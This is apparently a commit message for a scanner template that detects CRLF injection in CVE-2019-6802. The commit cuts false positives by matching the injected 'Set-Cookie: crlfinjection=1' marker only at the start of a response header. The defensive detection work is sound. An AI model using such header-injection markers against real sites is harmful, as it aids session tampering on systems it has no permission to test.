Update CVE-2019-6802.yaml Updated to remove false positives. As the previous change matches the words "Set-Cookie: crlfinjection=1" even if the words are present in the Location header too. The updated code, will match only if the "Set-Cookie: crlfinjection=1" is actually a header, by verifying that it actually starts in the beginning of a response header. 2023-09-29 08:16:22 +00:00			`- type: regex`
